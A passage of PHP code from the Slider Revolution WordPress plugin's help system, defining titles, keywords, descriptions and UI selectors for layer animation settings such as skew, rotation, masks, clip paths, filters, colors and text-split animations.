											$f => "#le_frame_scale_y"
										)
									),
									'skewx' => array(
										$t => __("skewX", 'revsliderhelp'),
										$h => "#frame#.transform.skewX",
										$k => array("animation skew", "animation skewx", "skew x", "skewx", "skew"),
										$d => __("Skew/distort the Layer horizontally by this amount for the selected animation frame.  Accepts positive and negative values.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_skew_x"
										)
									),
									'skewy' => array(
										$t => __("skewY", 'revsliderhelp'),
										$h => "#frame#.transform.skewY",
										$k => array("animation skew", "animation skewy", "skew y", "skewy", "skew"),
										$d => __("Skew/distort the Layer vertically by this amount for the selected animation frame.  Accepts positive and negative values.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_skew_y"
										)
									),
									'rotationx' => array(
										$t => __("rotateX", 'revsliderhelp'),
										$h => "#frame#.transform.rotationX",
										$k => array("animation rotation", "animation rotatex", "rotatex", "rotationx", "rotation x", "3d", "3d rotation"),
										$d => __("Rotate the Layer on its 'x' axis by this amount for the selected animation frame.  Accepts positive and negative values.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_rotate_x"
										)
									),
									'rotationy' => array(
										$t => __("rotateY", 'revsliderhelp'),
										$h => "#frame#.transform.rotationY",
										$k => array("animation rotation", "animation rotatey", "rotatey", "rotationy", "rotation y", "3d", "3d rotation"),
										$d => __("Rotate the Layer on its 'y' axis by this amount for the selected animation frame.  Accepts positive and negative values.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_rotate_y"
										)
									),
									'rotation' => array(
										$t => __("2D Rotation", 'revsliderhelp'),
										$h => "#frame#.transform.rotationZ",
										$k => array("animation rotation", "animation rotate", "rotate", "rotation", "2d", "2d rotation"),
										$d => __("The Layer's <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function/rotate' target='_blank'>2D Rotation</a> for the selected animation frame.  Accepts positive and negative values.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_rotate_z"
										)
									)
								),
								'transform_origin' => array(
									'originx' => array(
										$t => __("Transform Origin X", 'revsliderhelp'),
										$h => "#frame#.transform.originX",
										$k => array("animation origin", "animation originx", "transform origin", "transform-origin"),
										$d => __("The 'x' axis for the Layer's <a href='https://www.w3schools.com/cssref/css3_pr_transform-origin.asp' target='_blank'>transform-origin</a> applied to the selected animation frame.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "*[data-r='#frame#.transform.originX']"
										)
									),
									'originy' => array(
										$t => __("Transform Origin Y", 'revsliderhelp'),
										$h => "#frame#.transform.originY",
										$k => array("animation origin", "animation originx", "transform origin", "transform-origin"),
										$d => __("The 'y' axis for the Layer's <a href='https://www.w3schools.com/cssref/css3_pr_transform-origin.asp' target='_blank'>transform-origin</a> applied to the selected animation frame.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "*[data-r='#frame#.transform.originY']"
										)
									),
									'originz' => array(
										$t => __("Transform Origin Z", 'revsliderhelp'),
										$h => "#frame#.transform.originZ",
										$k => array("animation origin", "animation originx", "transform origin", "transform-origin"),
										$d => __("The 'z' axis for the Layer's <a href='https://www.w3schools.com/cssref/css3_pr_transform-origin.asp' target='_blank'>transform-origin</a> applied to the selected animation frame.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array('layerselected', '#layerbasic_ts_wrapbrtn .transtarget_selector'), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "*[data-r='#frame#.transform.originZ']"
										)
									)
								)
							),
							'mask' => array(
								'enable' => array(
									$di => "layer_frame_mask",
									$t => __("Enable Layer Mask", 'revsliderhelp'),
									$h => "#frame#.mask.use",
									$k => array("animation mask", "animation masking", "layer mask", "layer masking", "mask", "masking"),
									$d => __("Add a mask to the Layer which is useful for wipe/reveal type animations", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array('layerselected', '#mask_ts_wrapbrtn .transtarget_selector'), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "*[data-r='#frame#.mask.use']"
									)
								),
								'maskx' => array(
									$t => __("Mask X Position", 'revsliderhelp'),
									$h => "#frame#.mask.x.#size#.v",
									$k => array("animation mask", "animation masking", "layer mask", "layer masking", "mask", "masking"),
									$d => __("Position the mask horizontally.  Accepts positive and negative values.", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array(
											'layerselected', 
											'#mask_ts_wrapbrtn .transtarget_selector',
											array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.mask.use', $v => true, $o => 'layer_frame_mask')
										), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "#le_frame_mask_x"
									)
								),
								'masky' => array(
									$t => __("Mask Y Position", 'revsliderhelp'),
									$h => "#frame#.mask.y.#size#.v",
									$k => array("animation mask", "animation masking", "layer mask", "layer masking", "mask", "masking"),
									$d => __("Position the mask vertically.  Accepts positive and negative values.", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array(
											'layerselected', 
											'#mask_ts_wrapbrtn .transtarget_selector',
											array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.mask.use', $v => true, $o => 'layer_frame_mask')
										), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "#le_frame_mask_y"
									)
								),
								'clippath_enable' => array(
									$di => "clippath_enable",
									$t => __("Enable Clip Path", 'revsliderhelp'),
									$h => "timeline.clipPath.use",
									$k => array("clip path", "clippath", "mask", "masking"),
									$d => __("Apply and animate a CSS clip-path to the Layer.  Useful for creating 'wipe' animations", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array('layerselected', '#mask_ts_wrapbrtn .transtarget_selector'), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "*[data-r='timeline.clipPath.use']"
									)
								),
								'clippath_type' => array(
									$t => __("Clip Path Type", 'revsliderhelp'),
									$h => "timeline.clipPath.type",
									$k => array("clip path", "clippath", "mask", "masking", "clip path type"),
									$d => __("Choose 'Rectangle' or 'Circle' for traditional wipes from the sides, center or corners, and 'Custom Mask' for curtain-type reveals", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array(
											'layerselected', 
											'#mask_ts_wrapbrtn .transtarget_selector',
											array($p => '#slide#.layers.#layer#.timeline.clipPath.use', $v => true, $o => 'clippath_enable')
										), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "*[data-r='timeline.clipPath.type']"
									)
								),
								'clippath_origin' => array(
									$t => __("Clip Path Origin", 'revsliderhelp'),
									$h => "timeline.clipPath.origin",
									$k => array("clip path", "clippath", "mask", "masking", "clip path origin", "origin"),
									$d => __("Choose which direction the Clip Path should move to", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array(
											'layerselected', 
											'#mask_ts_wrapbrtn .transtarget_selector',
											array($p => '#slide#.layers.#layer#.timeline.clipPath.use', $v => true, $o => 'clippath_enable')
										), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "*[data-r='timeline.clipPath.origin']"
									)
								),
								'clip_percentage' => array(
									$t => __("Clip Percentage", 'revsliderhelp'),
									$h => "#frame#.transform.clip, #frame#.transform.clipB",
									$k => array("clip path", "clippath", "mask", "masking", "clip path percentage"),
									$d => __("The percentage of the Layer to apply the clip-path mask to.  The number '0' would represent completely hidden and '100' represent completely visible.", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array(
											'layerselected', 
											'#mask_ts_wrapbrtn .transtarget_selector',
											array($p => '#slide#.layers.#layer#.timeline.clipPath.use', $v => true, $o => 'clippath_enable')
										), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "*[data-r='#frame#.transform.clip']"
									)
								)
							),
							'filter' => array(
								'enable' => array(
									$di => "layer_frame_filter",
									$t => __("Enable Filter Animation", 'revsliderhelp'),
									$h => "#frame#.filter.use",
									$k => array("animate filter", "filter animation", "filter", "filters"),
									$d => __("Animate the Layer's blur, grayscale or brightness filter", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array('layerselected', '#filter_ts_wrapbrtn .transtarget_selector'), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "*[data-r='#frame#.filter.use']"
									)
								),
								'blur' => array(
									$t => __("Blur Filter", 'revsliderhelp'),
									$h => "#frame#.filter.blur",
									$k => array("animate filter", "filter animation", "filter", "filters", "blur filter", "blur"),
									$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/blur' target='_blank'>blur filter</a> value for the selected Animation frame", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array(
											'layerselected', 
											'#filter_ts_wrapbrtn .transtarget_selector',
											array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_filter')
										), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "*[data-r='#frame#.filter.blur']"
									)
								),
								'grayscale' => array(
									$t => __("Grayscale", 'revsliderhelp'),
									$h => "#frame#.filter.grayscale",
									$k => array("animate filter", "filter animation", "filter", "filters", "grayscale filter", "grayscale"),
									$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/grayscale' target='_blank'>grayscale filter</a> value for the selected Animation frame", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array(
											'layerselected', 
											'#filter_ts_wrapbrtn .transtarget_selector',
											array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_filter')
										), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "*[data-r='#frame#.filter.grayscale']"
									)
								),
								'brightness' => array(
									$t => __("Brightness", 'revsliderhelp'),
									$h => "#frame#.filter.brightness",
									$k => array("animate filter", "filter animation", "filter", "filters", "brightness filter", "brightness"),
									$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/filter-function/brightness' target='_blank'>brightness filter</a> value for the selected Animation frame", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array(
											'layerselected', 
											'#filter_ts_wrapbrtn .transtarget_selector',
											array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.filter.use', $v => true, $o => 'layer_frame_filter')
										), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "*[data-r='#frame#.filter.brightness']"
									)
								)
							),
							'color' => array(
								'enable_text_color' => array(
									$di => "layer_frame_color_text",
									$t => __("Animate Text Color", 'revsliderhelp'),
									$h => "#frame#.color.use",
									$k => array("animate color", "animate text color", "animate text-color", "color animation", "text color animation"),
									$d => __("Animate the Layer's text color", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array('layerselected', '#color_ts_wrapbrtn .transtarget_selector'), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "*[data-r='#frame#.color.use']"
									)
								),
								'text_color' => array(
									$t => __("Text Color Value", 'revsliderhelp'),
									$h => "#frame#.color.color",
									$k => array("animate color", "animate text color", "animate text-color", "color animation", "text color animation"),
									$d => __("The Layer's text color for the selected Animation frame", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array(
											'layerselected', 
											'#color_ts_wrapbrtn .transtarget_selector',
											array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.color.use', $v => true, $o => 'layer_frame_color_text')
										), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "#frameColorAnimation"
									)
								),
								'enable_background_color' => array(
									$di => "layer_frame_color_background",
									$t => __("Animate Background Color", 'revsliderhelp'),
									$h => "#frame#.bgcolor.use",
									$k => array("animate color", "animate background color", "animate background-color", "color animation", "background color animation"),
									$d => __("Animate the Layer's background color", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array('layerselected', '#color_ts_wrapbrtn .transtarget_selector'), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "*[data-r='#frame#.bgcolor.use']"
									)
								),
								'background_color' => array(
									$t => __("Background Color Value", 'revsliderhelp'),
									$h => "#frame#.bgcolor.backgroundColor",
									$k => array("animate color", "animate background color", "animate background-color", "background color animation", "background-color animation"),
									$d => __("The Layer's background color for the selected Animation frame", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array(
											'layerselected', 
											'#color_ts_wrapbrtn .transtarget_selector',
											array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.bgcolor.use', $v => true, $o => 'layer_frame_color_background')
										), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "#frameBGColorAnimation"
									)
								)
							),
							'char_word_line' => array(
								'enable' => array(
									$di => "layer_frame_char",
									$t => __("Enable Text-Split Animations", 'revsliderhelp'),
									$h => "#frame#.chars.use, #frame#.words.use, #frame#.lines.use",
									$k => array("text-split", "split", "text-split animation", "split animation", "char animation", "word animation", "line animation", "character animation"),
									$d => __("Animate characters, words or lines of text", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array('layerselected', '#chars_ts_wrapbrtn .transtarget_selector'), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "*[data-r='#frame#.chars.use']"
									)
								),
								'direction' => array(
									$t => __("Split Direction", 'revsliderhelp'),
									$h => "#frame#.chars.direction, #frame#.words.direction, #frame#.lines.direction",
									$k => array("split direction", "split animation direction", "text-split direction", "text animation direction"),
									$d => __("Choose which direction the chars/words/lines should be animated in", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array(
											'layerselected', 
											'#chars_ts_wrapbrtn .transtarget_selector',
											array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char')
										), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "#le_frame_chars_txtsplitdirection"
									)
								),
								'delay' => array(
									$t => __("Split Delay", 'revsliderhelp'),
									$h => "#frame#.lines.delay, #frame#.chars.delay, #frame#.words.delay",
									$k => array("split delay", "split animation delay", "text-split delay", "text animation delay"),
									$d => __("The delay time between each animation for the individual characters/words/lines", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array(
											'layerselected', 
											'#chars_ts_wrapbrtn .transtarget_selector',
											array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char')
										), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "#le_frame_chars_splitdelay"
									)
								),
								'easing' => array(
									$t => __("Animation Easing", 'revsliderhelp'),
									$h => "#frame#.words.ease, #frame#.chars.ease, #frame#.lines.ease",
									$k => array("split easing", "split animation easing", "text-split easing", "text animation easing"),
									$d => __("The easing equation to be applied for each animation", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array(
											'layerselected', 
											'#chars_ts_wrapbrtn .transtarget_selector',
											array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char')
										), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "#chars_appear_ease"
									)
								),
								'opacity' => array(
									$t => __("Opacity", 'revsliderhelp'),
									$h => "#frame#.chars.opacity, #frame#.words.opacity, #frame#.lines.opacity",
									$k => array("opacity", "animation opacity", "transparency", "animate opacity"),
									$d => __("The char/word/line opacity to apply to the currently selected animation frame", 'revsliderhelp'),
									$a => $u . "layer-animations/#advanced-settings",
									$hl => array(
										$dp => array(
											'layerselected', 
											'#chars_ts_wrapbrtn .transtarget_selector',
											array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char')
										), 
										$m => "#module_layers_trigger, #gst_layer_4", 
										$st => '#form_animation_sframes:nth-child(3)', 
										$f => "#le_frame_chars_opacity"
									)
								),
								'translate' => array(
									'translate_x' => array(
										$t => __("TranslateX", 'revsliderhelp'),
										$h => "#frame#.chars.x.#size#.v, #frame#.words.x.#size#.v, #frame#.lines.x.#size#.v",
										$k => array("animation position", "animate left", "animate right", "translatex"),
										$d => __("The 'x' (left) position to apply to the currently selected animation frame.  Accepts positive and negative numbers.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#chars_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_chars_x"
										)
									),
									'translate_y' => array(
										$t => __("TranslateY", 'revsliderhelp'),
										$h => "#frame#.chars.y.#size#.v, #frame#.words.y.#size#.v, #frame#.lines.y.#size#.v",
										$k => array("animation position", "animate top", "animate bottom", "translatey"),
										$d => __("The 'y' (top) position to apply to the currently selected animation frame.  Accepts positive and negative numbers.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#chars_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_chars_y"
										)
									),
									'translate_z' => array(
										$t => __("TranslateZ", 'revsliderhelp'),
										$h => "#frame#.lines.z, #frame#.words.z, #frame#.chars.z",
										$k => array("animation depth", "animation z", "translatez", "3d"),
										$d => __("The <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function/translateZ' target=_'blank'>CSS translateZ</a> to apply to the selected animation frame.  This adds/removes 3D depth to the Layer", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#chars_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_chars_z"
										)
									)
								),
								'scale_skew' => array(
									'scalex' => array(
										$t => __("scaleX", 'revsliderhelp'),
										$h => "#frame#.chars.scaleX, #frame#.words.scaleX, #frame#.lines.scaleX",
										$k => array("animation scale", "animation scalex", "scalex", "scale x", "scale"),
										$d => __("Scale the char/word/line width by this amount for the selected animation frame", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#chars_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_chars_scale_x"
										)
									),
									'scaley' => array(
										$t => __("scaleY", 'revsliderhelp'),
										$h => "#frame#.chars.scaleY, #frame#.words.scaleY, #frame#.lines.scaleY",
										$k => array("animation scale", "animation scaley", "scaley", "scale y", "scale"),
										$d => __("Scale the char/word/line height by this amount for the selected animation frame", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#chars_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_chars_scale_y"
										)
									),
									'skewx' => array(
										$t => __("skewX", 'revsliderhelp'),
										$h => "#frame#.chars.skewX, #frame#.words.skewX, #frame#.lines.skewX",
										$k => array("animation skew", "animation skewx", "skew x", "skewx", "skew"),
										$d => __("Skew/distort the Layer horizontally by this amount for the selected animation frame.  Accepts positive and negative values.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#chars_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_chars_skew_x"
										)
									),
									'skewy' => array(
										$t => __("skewY", 'revsliderhelp'),
										$h => "#frame#.chars.skewY, #frame#.words.skewY, #frame#.lines.skewY",
										$k => array("animation skew", "animation skewy", "skew y", "skewy", "skew"),
										$d => __("Skew/distort the Layer vertically by this amount for the selected animation frame.  Accepts positive and negative values.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#chars_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_chars_skew_y"
										)
									)
								),
								'rotation' => array(
									'rotationx' => array(
										$t => __("rotateX", 'revsliderhelp'),
										$h => "#frame#.chars.rotationX, #frame#.words.rotationX, #frame#.lines.rotationX",
										$k => array("animation rotation", "animation rotatex", "rotatex", "rotationx", "rotation x", "3d", "3d rotation"),
										$d => __("Rotate the Layer on its 'x' axis by this amount for the selected animation frame.  Accepts positive and negative values.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#chars_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_chars_rotate_x"
										)
									),
									'rotationy' => array(
										$t => __("rotateY", 'revsliderhelp'),
										$h => "#frame#.chars.rotationY, #frame#.words.rotationY, #frame#.lines.rotationY",
										$k => array("animation rotation", "animation rotatey", "rotatey", "rotationy", "rotation y", "3d", "3d rotation"),
										$d => __("Rotate the Layer on its 'y' axis by this amount for the selected animation frame.  Accepts positive and negative values.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#chars_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_chars_rotate_y"
										)
									),
									'rotation' => array(
										$t => __("2D Rotation", 'revsliderhelp'),
										$h => "#frame#.chars.rotationZ, #frame#.words.rotationZ, #frame#.lines.rotationZ",
										$k => array("animation rotation", "animation rotate", "rotate", "rotation", "2d", "2d rotation"),
										$d => __("The char/word/line <a href='https://developer.mozilla.org/en-US/docs/Web/CSS/transform-function/rotate' target='_blank'>2D Rotation</a> for the selected animation frame.  Accepts positive and negative values.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#chars_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "#le_frame_chars_rotate_z"
										)
									)
								),
								'transform_origin' => array(
									'originx' => array(
										$t => __("Transform Origin X", 'revsliderhelp'),
										$h => "#frame#.chars.originX, #frame#.words.originX, #frame#.lines.originX",
										$k => array("animation origin", "animation originx", "transform origin", "transform-origin"),
										$d => __("The 'x' axis for the char/word/line <a href='https://www.w3schools.com/cssref/css3_pr_transform-origin.asp' target='_blank'>transform-origin</a> applied to the selected animation frame.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#chars_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "*[data-r='#frame#.chars.originX']"
										)
									),
									'originy' => array(
										$t => __("Transform Origin Y", 'revsliderhelp'),
										$h => "#frame#.chars.originY, #frame#.words.originY, #frame#.lines.originY",
										$k => array("animation origin", "animation originx", "transform origin", "transform-origin"),
										$d => __("The 'y' axis for the char/word/line <a href='https://www.w3schools.com/cssref/css3_pr_transform-origin.asp' target='_blank'>transform-origin</a> applied to the selected animation frame.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#chars_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "*[data-r='#frame#.chars.originY']"
										)
									),
									'originz' => array(
										$t => __("Transform Origin Z", 'revsliderhelp'),
										$h => "#frame#.chars.originZ, #frame#.words.originZ, #frame#.lines.originZ",
										$k => array("animation origin", "animation originx", "transform origin", "transform-origin"),
										$d => __("The 'z' axis for the char/word/line <a href='https://www.w3schools.com/cssref/css3_pr_transform-origin.asp' target='_blank'>transform-origin</a> applied to the selected animation frame.", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#chars_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "*[data-r='#frame#.chars.originZ']"
										)
									)
								),
								'filter_chars' => array(
									'enable' => array(
										$di => "char_frame_filter",
										$t => __("Enable Filter Animation", 'revsliderhelp'),
										$h => "#frame#.chars.fuse",
										$k => array("animate filter", "filter animation", "filter", "filters"),
										$d => __("Animate the Char animation's blur, grayscale or brightness filter", 'revsliderhelp'),
										$a => $u . "layer-animations/#advanced-settings",
										$hl => array(
											$dp => array(
												'layerselected', 
												'#chars_ts_wrapbrtn .transtarget_selector',
												array($p => '#slide#.layers.#layer#.timeline.frames.#frame#.chars.use', $v => true, $o => 'layer_frame_char')
											), 
											$m => "#module_layers_trigger, #gst_layer_4", 
											$st => '#form_animation_sframes:nth-child(3)', 
											$f => "*[data-r='#frame#.chars.fuse']"
										)
									),
									'blur' => array(
										$t => __("Blur Filter", 'revsliderhelp'),
